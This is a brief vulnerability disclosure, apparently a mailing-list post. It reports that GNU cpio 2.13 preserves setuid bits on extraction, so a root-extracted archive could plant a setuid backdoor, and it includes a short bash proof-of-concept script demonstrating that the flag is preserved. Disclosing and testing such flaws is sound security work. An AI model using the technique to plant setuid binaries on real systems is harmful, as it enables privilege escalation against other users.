cpio 2.13 Privilege Escalation Vulnerability

cpio privilege escalation vulnerability via setuid files in cpio archive

Happy New Year, let in 2024 happiness be with you! :)

When extracting archives cpio (at least version 2.13) preserves
the setuid flag, which might lead to privilege escalation.

One example is r00t extracts to /tmp/ and scidiot runs /tmp/micq/backd00r
without further interaction from root.

We believe this is vulnerability, since directory traversal in cpio
is considered vulnerability.

The POC is trivial, including bash script.

<pre>
====
#!/bin/bash
# cpio privilege escalation via setuid files in cpio archive
# author: Georgi Guninski
# date: Mon Jan  8 07:28:28 AM UTC 2024
# tested on cpio (GNU cpio) 2.13

mkdir -p /tmp/1
cd /tmp/1
touch a
chmod 4555 a
echo -n a | cpio -ocv0  > a.cpio
mkdir -p /tmp/2
cd /tmp/2
cpio -iv < ../1/a.cpio
ls -lh /tmp/2/a
#-r-sr-xr-x. 1 joro joro 0 Jan  8 09:10 /tmp/2/a
====
</pre>